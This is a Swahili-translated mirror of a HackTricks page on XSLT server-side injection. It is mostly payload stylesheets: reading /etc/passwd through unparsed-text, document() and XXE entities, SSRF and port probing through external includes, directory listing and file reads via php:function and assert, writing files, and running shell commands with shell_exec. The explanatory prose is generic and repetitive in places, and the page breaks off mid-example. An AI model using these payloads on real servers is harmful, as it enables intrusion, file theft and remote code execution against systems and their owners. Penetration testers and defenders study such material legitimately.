mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
552 lines
28 KiB
Markdown
552 lines
28 KiB
Markdown
# XSLT Uvamizi wa Upande wa Seva (Extensible Stylesheet Languaje Transformations)
|
||
|
||
<details>
|
||
|
||
<summary><strong>Jifunze kuhusu uvamizi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? Au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwenye [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
||
</details>
|
||
|
||
## Taarifa Msingi
|
||
|
||
XSLT ni teknolojia inayotumiwa kubadilisha hati za XML kuwa muundo tofauti. Inakuja katika matoleo matatu: 1, 2, na 3, na toleo la 1 linatumika zaidi. Mchakato wa ubadilishaji unaweza kutekelezwa kwenye seva au ndani ya kivinjari.
|
||
|
||
Mifumo inayotumiwa mara kwa mara ni pamoja na:
|
||
|
||
- **Libxslt** kutoka Gnome,
|
||
- **Xalan** kutoka Apache,
|
||
- **Saxon** kutoka Saxonica.
|
||
|
||
Kwa kuvamia udhaifu unaohusiana na XSLT, ni lazima vitambulisho vya xsl vihifadhiwe upande wa seva, kisha ufikie yaliyomo hayo. Mfano wa udhaifu kama huo umeelezwa katika chanzo kifuatacho: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/).
|
||
|
||
## Mfano - Mafunzo
|
||
```bash
|
||
sudo apt-get install default-jdk
|
||
sudo apt-get install libsaxonb-java libsaxon-java
|
||
```
|
||
{% code title="xml.xml" %}
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<catalog>
|
||
<cd>
|
||
<title>CD Title</title>
|
||
<artist>The artist</artist>
|
||
<company>Da Company</company>
|
||
<price>10000</price>
|
||
<year>1760</year>
|
||
</cd>
|
||
</catalog>
|
||
```
|
||
{% code title="xsl.xsl" %}
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||
<xsl:template match="/">
|
||
<html>
|
||
<body>
|
||
<h2>The Super title</h2>
|
||
<table border="1">
|
||
<tr bgcolor="#9acd32">
|
||
<th>Title</th>
|
||
<th>artist</th>
|
||
</tr>
|
||
<tr>
|
||
<td><xsl:value-of select="catalog/cd/title"/></td>
|
||
<td><xsl:value-of select="catalog/cd/artist"/></td>
|
||
</tr>
|
||
</table>
|
||
</body>
|
||
</html>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
{% endcode %}
|
||
|
||
Tumia:
|
||
```xml
|
||
saxonb-xslt -xsl:xsl.xsl xml.xml
|
||
|
||
Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl:
|
||
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
|
||
<html>
|
||
<body>
|
||
<h2>The Super title</h2>
|
||
<table border="1">
|
||
<tr bgcolor="#9acd32">
|
||
<th>Title</th>
|
||
<th>artist</th>
|
||
</tr>
|
||
<tr>
|
||
<td>CD Title</td>
|
||
<td>The artist</td>
|
||
</tr>
|
||
</table>
|
||
</body>
|
||
</html>
|
||
```
|
||
### Kuchunguza Alama ya Vidole
|
||
|
||
{% code title="detection.xsl" %}
|
||
```xml
|
||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||
<xsl:template match="/">
|
||
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
|
||
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
|
||
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
|
||
<xsl:if test="system-property('xsl:product-name')">
|
||
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
|
||
</xsl:if>
|
||
<xsl:if test="system-property('xsl:product-version')">
|
||
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
|
||
</xsl:if>
|
||
<xsl:if test="system-property('xsl:is-schema-aware')">
|
||
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
|
||
</xsl:if>
|
||
<xsl:if test="system-property('xsl:supports-serialization')">
|
||
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
|
||
/><br />
|
||
</xsl:if>
|
||
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
|
||
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
|
||
/><br />
|
||
</xsl:if>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
{% endcode %}
|
||
|
||
Na tekeleza
|
||
```xml
|
||
$saxonb-xslt -xsl:detection.xsl xml.xml
|
||
|
||
Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
|
||
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
|
||
<h2>XSLT identification</h2><b>Version:</b>2.0<br><b>Vendor:</b>SAXON 9.1.0.8 from Saxonica<br><b>Vendor URL:</b>http://www.saxonica.com/<br>
|
||
```
|
||
### Soma Faili la Ndani
|
||
|
||
{% code title="soma.xsl" %}
|
||
```xml
|
||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
|
||
<xsl:template match="/">
|
||
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
{% endcode %}
|
||
```xml
|
||
$ saxonb-xslt -xsl:read.xsl xml.xml
|
||
|
||
Warning: at xsl:stylesheet on line 1 column 111 of read.xsl:
|
||
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
|
||
<?xml version="1.0" encoding="UTF-8"?>root:x:0:0:root:/root:/bin/bash
|
||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||
bin:x:2:2:bin:/bin:/usr/sbin/nologin
|
||
sys:x:3:3:sys:/dev:/usr/sbin/nologin
|
||
sync:x:4:65534:sync:/bin:/bin/sync
|
||
games:x:5:60:games:/usr/games:/usr/sbin/nologin
|
||
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
|
||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||
```
|
||
SSRF (Server-Side Request Forgery) ni kosa la usalama ambapo mtumiaji anaweza kudanganya seva ili kufanya ombi kwa niaba yake. Kwa kawaida, SSRF inaruhusu mtumiaji kufanya ombi kwa seva zingine ndani ya mtandao wa ndani au hata kwa seva za nje ya mtandao. Hii inaweza kusababisha matatizo kama vile ufikiaji usioidhinishwa kwa rasilimali za ndani, kufichua habari nyeti, au hata kushambulia seva zingine.
|
||
|
||
Kuna njia kadhaa za kutekeleza SSRF, ikiwa ni pamoja na kutumia maombi ya HTTP, FTP, au SMB. Kwa kawaida, SSRF inategemea udhaifu katika nambari ya seva ambayo inaruhusu mtumiaji kudhibiti URL ya ombi. Kwa kutumia mbinu za SSRF, mtu anaweza kufanya ombi kwa seva zingine ndani ya mtandao au hata kwa seva za nje ya mtandao.
|
||
|
||
Kuna njia kadhaa za kuzuia na kugundua SSRF. Kwa mfano, unaweza kufuatilia trafiki ya mtandao ili kugundua maombi yasiyoidhinishwa. Pia, unaweza kuhakikisha kuwa seva yako inafanya ukaguzi wa kina wa URL kabla ya kufanya ombi. Kwa kuongezea, unaweza kuzuia upatikanaji wa seva zingine ndani ya mtandao wako au kudhibiti ufikiaji wao kwa njia ya vizuizi vya mtandao.
|
||
|
||
Kwa kumalizia, SSRF ni kosa la usalama ambalo linaweza kusababisha matatizo makubwa kwa seva na mtandao. Ni muhimu kuchukua hatua za kuzuia na kugundua ili kulinda mifumo yako dhidi ya mashambulizi ya SSRF.
|
||
```xml
|
||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
|
||
<xsl:include href="http://127.0.0.1:8000/xslt"/>
|
||
<xsl:template match="/">
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
### Matoleo
|
||
|
||
Kuna uwezekano wa kuwepo kwa kazi zaidi au chache kulingana na toleo la XSLT lililotumika:
|
||
|
||
* [https://www.w3.org/TR/xslt-10/](https://www.w3.org/TR/xslt-10/)
|
||
* [https://www.w3.org/TR/xslt20/](https://www.w3.org/TR/xslt20/)
|
||
* [https://www.w3.org/TR/xslt-30/](https://www.w3.org/TR/xslt-30/)
|
||
|
||
## Kuchukua Alama ya Kidole
|
||
|
||
Pakia hii na chukua taarifa
|
||
```xml
|
||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||
<xsl:template match="/">
|
||
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
|
||
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
|
||
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
|
||
<xsl:if test="system-property('xsl:product-name')">
|
||
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
|
||
</xsl:if>
|
||
<xsl:if test="system-property('xsl:product-version')">
|
||
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
|
||
</xsl:if>
|
||
<xsl:if test="system-property('xsl:is-schema-aware')">
|
||
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
|
||
</xsl:if>
|
||
<xsl:if test="system-property('xsl:supports-serialization')">
|
||
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
|
||
/><br />
|
||
</xsl:if>
|
||
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
|
||
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
|
||
/><br />
|
||
</xsl:if>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
## SSRF
|
||
|
||
SSRF (Server-Side Request Forgery) ni kosa la usalama ambapo mtumiaji anaweza kudanganya seva ya malengo ili kufanya ombi kwa seva nyingine ndani ya mtandao. Hii inaweza kusababisha matatizo mbalimbali kama vile ufikiaji usiothibitishwa kwa seva nyingine, kufichua data nyeti, au hata kudhoofisha mfumo mzima.
|
||
|
||
Kuna njia kadhaa za kutekeleza SSRF, ikiwa ni pamoja na:
|
||
|
||
- Kudanganya seva ya malengo kutuma ombi kwa seva nyingine ndani ya mtandao.
|
||
- Kudanganya seva ya malengo kutuma ombi kwa seva ya ndani ya mtandao wa ndani.
|
||
- Kudanganya seva ya malengo kutuma ombi kwa seva ya kujitolea au huduma ya wingu.
|
||
|
||
SSRF inaweza kutumiwa kwa njia mbalimbali, kama vile kupata data nyeti kutoka kwa seva nyingine, kufanya uharibifu wa mfumo, au hata kufikia seva zilizofungwa ndani ya mtandao wa ndani.
|
||
|
||
Kwa kuzuia SSRF, ni muhimu kutekeleza hatua za usalama kama vile:
|
||
|
||
- Kufuatilia na kudhibiti ombi zinazotoka kwa seva ya malengo.
|
||
- Kuzuia ufikiaji wa seva zisizohitajika ndani ya mtandao.
|
||
- Kufunga bandari zisizohitajika na kudhibiti ufikiaji wa seva.
|
||
- Kufuatilia na kusasisha mara kwa mara programu na mifumo ya uendeshaji.
|
||
|
||
Kwa kumalizia, SSRF ni kosa la usalama ambalo linaweza kusababisha madhara makubwa kwa mfumo wa mtandao. Ni muhimu kuchukua hatua za usalama ili kuzuia na kugundua mashambulizi ya SSRF.
|
||
```xml
|
||
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
|
||
</esi:include>
|
||
```
|
||
## Uingizaji wa Javascript
|
||
|
||
Uingizaji wa Javascript ni mbinu ya kuingiza na kutekeleza kanuni za Javascript kwenye ukurasa wa wavuti. Mbinu hii inaweza kutumiwa kwa madhumuni mbalimbali, ikiwa ni pamoja na kudhibiti au kudanganya tovuti, kufanya mabadiliko ya ukurasa wa wavuti, au kuiba taarifa za siri.
|
||
|
||
Kuna njia kadhaa za kufanikisha uingizaji wa Javascript, ikiwa ni pamoja na:
|
||
|
||
1. **Uingizaji wa moja kwa moja**: Hii ni mbinu ambapo kanuni ya Javascript inaingizwa moja kwa moja kwenye ukurasa wa wavuti. Hii inaweza kufanyika kwa kutumia vitambulisho vya HTML kama vile `<script>` au `<img>`, au kwa kubadilisha maadili ya vigezo vya URL.
|
||
|
||
2. **Uingizaji wa kuingiliana**: Hii ni mbinu ambapo kanuni ya Javascript inaingizwa kupitia uingizaji wa maadili ya kuingiliana kama vile fomu za mtumiaji, maeneo ya maoni, au vitufe vya kudhibiti.
|
||
|
||
3. **Uingizaji wa kosa**: Hii ni mbinu ambapo kanuni ya Javascript inaingizwa kwa kutumia makosa katika programu ya wavuti. Makosa haya yanaweza kutokea kutokana na ukosefu wa ukaguzi wa kutosha wa data iliyopokelewa au matumizi mabaya ya kazi za usindikaji wa data.
|
||
|
||
Kwa kufanikisha uingizaji wa Javascript, hacker anaweza kutekeleza vitendo mbalimbali kama vile kudukua akaunti, kuiba data, au kudhibiti tovuti. Ni muhimu kwa watengenezaji wa wavuti kuchukua hatua za usalama kama vile ukaguzi wa kina wa data iliyopokelewa na kuzuia uingizaji wa Javascript usiohitajika.
|
||
```xml
|
||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||
<xsl:template match="/">
|
||
<script>confirm("We're good");</script>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
## Orodha ya Dirs (PHP)
|
||
|
||
### **Opendir + readdir**
|
||
```xml
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
|
||
<xsl:template match="/">
|
||
<xsl:value-of select="php:function('opendir','/path/to/dir')"/>
|
||
<xsl:value-of select="php:function('readdir')"/> -
|
||
<xsl:value-of select="php:function('readdir')"/> -
|
||
<xsl:value-of select="php:function('readdir')"/> -
|
||
<xsl:value-of select="php:function('readdir')"/> -
|
||
<xsl:value-of select="php:function('readdir')"/> -
|
||
<xsl:value-of select="php:function('readdir')"/> -
|
||
<xsl:value-of select="php:function('readdir')"/> -
|
||
<xsl:value-of select="php:function('readdir')"/> -
|
||
<xsl:value-of select="php:function('readdir')"/> -
|
||
</xsl:template></xsl:stylesheet>
|
||
```
|
||
### **Kuthibitisha (var\_dump + scandir + false)**
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
|
||
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
|
||
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" />
|
||
<br />
|
||
</body>
|
||
</html>
|
||
```
|
||
### **Kusoma faili**
|
||
|
||
#### **Ndani - PHP**
|
||
|
||
Kuna njia kadhaa za kusoma faili za ndani kwa kutumia XSLT Server Side Injection (XSSI). Hapa kuna njia mbili za kawaida:
|
||
|
||
1. Kusoma faili ya ndani ya seva:
|
||
|
||
```xml
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||
<xsl:template match="/">
|
||
<xsl:variable name="file" select="document('file:///etc/passwd')"/>
|
||
<xsl:value-of select="$file"/>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
|
||
2. Kusoma faili ya ndani ya mtumiaji:
|
||
|
||
```xml
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||
<xsl:template match="/">
|
||
<xsl:variable name="file" select="document('file:///home/user/secret.txt')"/>
|
||
<xsl:value-of select="$file"/>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
|
||
Kwa njia hizi, unaweza kusoma faili za ndani za seva au faili za ndani za mtumiaji. Kumbuka kuwa unahitaji kujua njia kamili ya faili unayotaka kusoma.
|
||
```xml
|
||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
|
||
<xsl:template match="/">
|
||
<xsl:value-of select="unparsed-text('/etc/passwd', ‘utf-8')"/>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
### **Ndani - XXE**
|
||
|
||
XXE (Extensible Markup Language Entity Expansion) ni kosa la usalama ambapo mtumiaji anaweza kuingiza maudhui ya nje ndani ya faili ya XML. Kwa kawaida, XML hutumiwa kuhifadhi na kubadilishana data kati ya mifumo tofauti. Kwa kutumia XXE, mtumiaji anaweza kufanya mashambulizi kama vile kusoma faili za mfumo, kufikia huduma za mtandao, na hata kusababisha kukwama kwa mfumo.
|
||
|
||
Mara nyingi, mashambulizi ya XXE hufanyika kupitia maombi ya wavuti ambayo yanachakata data ya XML kutoka kwa mtumiaji. Kwa kufanya hivyo, mtumiaji anaweza kuingiza maudhui ya nje kama vile faili za XML, URL, au hata kificho cha XSLT (Extensible Stylesheet Language Transformations).
|
||
|
||
Kuna njia kadhaa za kufanya mashambulizi ya XXE, ikiwa ni pamoja na:
|
||
|
||
1. **Entity Expansion**: Mtumiaji anaweza kuingiza maudhui ya nje kwa kutumia entiti za XML. Hii inaweza kusababisha kuzidi kwa rasilimali na kusababisha kukwama kwa mfumo.
|
||
2. **External Entity**: Mtumiaji anaweza kurejelea faili za nje na kuzisoma kwa kutumia maombi ya XXE. Hii inaweza kusababisha kuvuja kwa data nyeti au kufikia faili za mfumo.
|
||
3. **Blind XXE**: Hii ni aina ya mashambulizi ya XXE ambapo hakuna majibu yanayorudi kutoka kwa mfumo. Hii inaweza kufanya iwe ngumu kugundua mashambulizi.
|
||
|
||
Kwa kuzuia mashambulizi ya XXE, ni muhimu kutekeleza hatua za usalama kama vile kufunga ufikiaji wa mitandao ya nje, kusafisha na kufunga maingizo ya mtumiaji, na kuzuia upatikanaji wa faili za mfumo kupitia maombi ya XXE.
|
||
```xml
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||
<xsl:template match="/">
|
||
&ext_file;
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
### **Kupitia HTTP**
|
||
|
||
Kupitia HTTP, unaweza kufanya mashambulizi ya XSLT Server-Side Injection (SSI) kwa kutumia faili ya XSLT kama payload. XSLT ni lugha ya kuunda stylesheet ambayo inaweza kutumika kubadilisha muundo wa data ya XML.
|
||
|
||
Mchakato wa mashambulizi ya XSLT SSI ni kama ifuatavyo:
|
||
|
||
1. Tafuta tovuti ambayo inatumia XSLT kwa usindikaji wa data ya XML.
|
||
2. Tafuta njia ya kuingiza faili ya XSLT kwenye tovuti hiyo.
|
||
3. Unda faili ya XSLT ambayo ina maagizo ya kutekelezwa kwenye seva.
|
||
4. Tuma faili ya XSLT kama sehemu ya ombi la HTTP kwa tovuti.
|
||
5. Seva itasindika faili ya XSLT na kutekeleza maagizo yaliyomo.
|
||
6. Kama matokeo, unaweza kupata habari nyeti kutoka kwa seva au kufanya vitendo vingine vya uharibifu.
|
||
|
||
Ni muhimu kutambua kuwa mafanikio ya mashambulizi ya XSLT SSI yanategemea uwepo wa udhaifu katika usindikaji wa XSLT kwenye tovuti. Kwa hivyo, ni muhimu kufanya uchunguzi wa kina na kujaribu njia tofauti za mashambulizi ili kubaini ikiwa tovuti ina udhaifu huo.
|
||
```xml
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||
<xsl:template match="/">
|
||
<xsl:value-of select="document('/etc/passwd')"/>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
|
||
```xml
|
||
<!DOCTYPE xsl:stylesheet [
|
||
<!ENTITY passwd SYSTEM "file:///etc/passwd" >]>
|
||
<xsl:template match="/">
|
||
&passwd;
|
||
</xsl:template>
|
||
```
|
||
### **Ndani (PHP-kazi)**
|
||
```xml
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
|
||
<xsl:template match="/">
|
||
<xsl:value-of select="php:function('file_get_contents','/path/to/file')"/>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
|
||
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
|
||
<xsl:copy-of name="asd" select="php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" />
|
||
<br />
|
||
</body>
|
||
</html>
|
||
```
|
||
### Uchunguzi wa Bandari
|
||
|
||
Uchunguzi wa bandari ni mchakato wa kutambua bandari zinazofunguliwa kwenye mfumo wa kompyuta au mtandao. Kwa kufanya hivyo, tunaweza kujua ni huduma gani zinazopatikana na kazi gani zinazotekelezwa kwenye kila bandari.
|
||
|
||
Kuna njia kadhaa za kufanya uchunguzi wa bandari, ikiwa ni pamoja na kutumia zana za kiotomatiki kama vile Nmap au kutumia amri za mfumo wa uendeshaji kama vile `netstat` au `nmap`. Lengo ni kupata habari muhimu kama vile bandari zilizofunguliwa, itifaki zinazotumiwa, na huduma zinazopatikana.
|
||
|
||
Uchunguzi wa bandari unaweza kuwa muhimu katika uchunguzi wa usalama wa mtandao au wakati wa kufanya uchunguzi wa kuingilia kati. Kwa kutambua bandari zilizofunguliwa, tunaweza kugundua hatari za usalama na kuchukua hatua za kuzifunga au kuzilinda.
|
||
|
||
Ni muhimu kutambua kuwa uchunguzi wa bandari unapaswa kufanywa kwa idhini ya mmiliki wa mfumo au mtandao unaofanyiwa uchunguzi. Kufanya uchunguzi wa bandari bila idhini inaweza kuwa kinyume cha sheria na kusababisha masuala ya kisheria.
|
||
```xml
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
|
||
<xsl:template match="/">
|
||
<xsl:value-of select="document('http://example.com:22')"/>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
## Andika kwenye faili
|
||
|
||
### XSLT 2.0
|
||
|
||
XSLT 2.0 inaruhusu kuandika data kwenye faili kwa kutumia kazi ya `xsl:result-document`. Kazi hii inaruhusu mtumiaji kuandika data kwenye faili ya aina yoyote iliyopo kwenye mfumo wa faili wa seva.
|
||
|
||
Kwa mfano, ikiwa tunataka kuandika data kwenye faili ya `output.txt`, tunaweza kutumia kificho kifuatacho:
|
||
|
||
```xml
|
||
<xsl:result-document href="file:///path/to/output.txt">
|
||
<xsl:text>Maandishi ya kuandika kwenye faili</xsl:text>
|
||
</xsl:result-document>
|
||
```
|
||
|
||
Kificho hiki kitasababisha maandishi "Maandishi ya kuandika kwenye faili" kuandikwa kwenye faili ya `output.txt` iliyopo kwenye mfumo wa faili wa seva.
|
||
|
||
Ni muhimu kutambua kuwa kazi ya `xsl:result-document` inaweza kutumika kwa madhumuni mabaya, kama vile kuandika data kwenye faili zisizo na idhini au kubadilisha faili zilizopo. Kwa hivyo, ni muhimu kuzingatia usalama na kufanya uhakiki wa kutosha kabla ya kuruhusu kazi hii kwenye seva yako.
|
||
```xml
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
|
||
<xsl:template match="/">
|
||
<xsl:result-document href="local_file.txt">
|
||
<xsl:text>Write Local File</xsl:text>
|
||
</xsl:result-document>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
### **Upanuzi wa Xalan-J**
|
||
|
||
Xalan-J ni mchakato wa kutafsiri na kutekeleza lugha ya XSLT (Extensible Stylesheet Language Transformations). Ni chombo kinachotumiwa sana katika maendeleo ya wavuti na inaweza kutumika kwa ufanisi katika uchambuzi wa usalama wa wavuti.
|
||
|
||
Moja ya matumizi muhimu ya Xalan-J ni kwa kutekeleza XSLT Server-Side Injection. Hii ni mbinu ya kuingiza na kutekeleza msimbo wa XSLT kwenye seva ya wavuti. Kwa kufanya hivyo, mtu anaweza kudhibiti jinsi data inavyotafsiriwa na kuonyeshwa kwenye ukurasa wa wavuti.
|
||
|
||
Kwa mfano, ikiwa kuna udhaifu katika programu ya wavuti inayotumia Xalan-J, mtu anaweza kuingiza msimbo wa XSLT ambao unaweza kufanya vitendo mbalimbali, kama vile kufikia data nyeti, kubadilisha muundo wa ukurasa, au hata kutekeleza mashambulizi mengine ya mtandao.
|
||
|
||
Kwa hiyo, ni muhimu kwa wataalamu wa usalama wa wavuti kuelewa jinsi ya kugundua na kuzuia mashambulizi ya XSLT Server-Side Injection. Kwa kufanya hivyo, wanaweza kuhakikisha kuwa programu za wavuti zinabaki salama na data ya watumiaji inalindwa.
|
||
```xml
|
||
<xsl:template match="/">
|
||
<redirect:open file="local_file.txt"/>
|
||
<redirect:write file="local_file.txt"/> Write Local File</redirect:write>
|
||
<redirect:close file="loxal_file.txt"/>
|
||
</xsl:template>
|
||
```
|
||
Njia nyingine za kuandika faili katika PDF
|
||
|
||
## Jumuisha XSL ya nje
|
||
```xml
|
||
<xsl:include href="http://extenal.web/external.xsl"/>
|
||
```
|
||
|
||
```xml
|
||
<?xml version="1.0" ?>
|
||
<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>
|
||
```
|
||
### **php:function**
|
||
|
||
### **php:function**
|
||
|
||
Kwa kutumia kificho cha XSLT, unaweza kutekeleza kificho cha PHP kwenye seva ya XSLT. Hii inawezekana kwa sababu XSLT inasaidia kazi ya `php:function`, ambayo inaruhusu kutekeleza kificho cha PHP ndani ya hati ya XSLT.
|
||
|
||
Kwa kufanya hivyo, unahitaji kujenga hati ya XSLT ambayo inatumia kazi ya `php:function` na kisha kuipitisha kwenye seva ya XSLT. Seva ya XSLT itatekeleza kificho cha PHP ulichopitisha na kutoa matokeo yake.
|
||
|
||
Hapa kuna mfano wa jinsi ya kutekeleza kificho cha PHP kwa kutumia `php:function`:
|
||
|
||
```xml
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
|
||
<xsl:output method="text" omit-xml-declaration="yes" />
|
||
|
||
<xsl:template match="/">
|
||
<xsl:value-of select="php:function('eval', 'echo \"Hello, World!\";')" />
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
|
||
Katika mfano huu, tunatumia kazi ya `php:function` ili kutekeleza kificho cha PHP `'eval', 'echo \"Hello, World!\";'`. Kificho hiki cha PHP kinachapisha "Hello, World!" kwenye matokeo ya hati ya XSLT.
|
||
|
||
Kwa kutekeleza kificho cha PHP kwa njia hii, unaweza kufanya vitendo mbalimbali, kama vile kusoma na kuandika faili, kufanya mawasiliano na seva nyingine, au hata kudhibiti seva ya XSLT yenyewe.
|
||
|
||
Ni muhimu kutambua kuwa kutekeleza kificho cha PHP kwenye seva ya XSLT inaweza kuwa hatari ikiwa haikudhibitiwa vizuri. Inaweza kusababisha matatizo ya usalama kama vile kuvuja kwa data au kudhibitiwa kwa seva. Kwa hivyo, ni muhimu kuchukua tahadhari na kuhakikisha kuwa kificho cha PHP kinachotekelezwa kinafanya tu vitendo salama na halileti madhara.
|
||
```xml
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<xsl:stylesheet version="1.0"
|
||
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
|
||
xmlns:php="http://php.net/xsl" >
|
||
<xsl:template match="/">
|
||
<xsl:value-of select="php:function('shell_exec','sleep 10')" />
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
|
||
